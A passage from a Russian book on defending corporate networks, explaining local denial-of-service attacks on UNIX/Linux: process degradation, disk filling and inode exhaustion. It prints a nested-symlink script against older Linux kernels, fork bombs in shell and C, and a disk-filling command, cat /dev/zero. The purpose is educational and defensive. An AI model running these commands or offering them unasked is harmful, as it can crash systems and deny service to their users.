Коллектив авторов - Защита от хакеров корпоративных сетей

Локальная DoS-атака

Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.

Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).

Снижение функциональных возможностей процесса

По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.

Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):

#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=“”

I=0

while [ $I -lt $ELNUM ] ; do

P=$P“$EL”

I=$(($I+1))

done

ln -s “$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l

Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:

($0 & $0 &)

Код на языке С следующий:

(main() {for(;;)fork();})

В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.

Переполнение диска

Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.

Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.

Если при планировании работы с диском не было предусмотрено разбиение диска на раздел(ы) для пользователей и, отдельно, раздел(ы) для журналов регистрации, то злоумышленник может воспользоваться этим типом DoS-атаки для достижения аварийного отказа системы. Он может также воспользоваться этим типом атаки для затруднения работы пользователей: при генерации большого количества событий, регистрируемых в системном журнале syslog, расходуется отведенная разделу журналов регистрации дисковая память, и при ее исчерпании нельзя зарегистрировать новые события в журнале syslog.

Реализация такой атаки тривиальна. Пользователю локального компьютера достаточно выполнить следующую команду:

cat /dev/zero > ~/maliciousfile

Эта команда свяжет файл устройства /dev/zero (который просто генерит нули) с файлом злоумышленника. Команда будет продолжаться до тех пор, пока пользователь не прекратит ее выполнение или не будет заполнен диск. Для усиления разрушительного эффекта атаки, направленной на исчерпание дисковой памяти, можно воспользоваться идеей бомбежки почты. Хотя это старая идея, на практике она почти не применяется. Возможно, из-за того, что на основе анализа заголовков пакетов протокола SMTP путь электронной почты легко проследить. И хотя для передачи пакетов могут использоваться открытые ретрансляторы (open relays), поиск отправителя почтовой бомбы – не очень сложная задача. Поэтому большинство бомбардировщиков почты окажется или без Интернета, или в тюрьме, или одновременно и там, и там.

Истощение индексных узлов

Несмотря на разные цели, атаки, направленные на истощение индексных узлов, похожи на предыдущий тип DoS-атаки, ориентированный на переполнение диска. Локальные DoS-атаки истощения индексных узлов изначально ориентированы на тот или иной тип файловой системы. Индексные узлы – обязательная часть файловой системы UNIX.

Индексные узлы содержат важную информацию файловой системы. Как минимум, это сведения о владельце файлов, групповом членстве файлов, их типе, разрешениях, размере и адресах блоков, содержащих данные файла. При форматировании файловой системы создается конечное число индексных узлов для обработки индексов файлов каждой группы.

Ориентированные на истощение индексных узлов DoS-атаки стараются использовать все доступные индексные узлы раздела. Истощение этих ресурсов создает ситуацию, подобную той, которая происходит в случае нехватки места на диске. В результате система не может создавать новые файлы. Этот класс атак обычно используется для нанесения ущерба системе и препятствования регистрации системных событий, особенно действий злоумышленника.

Читать дальше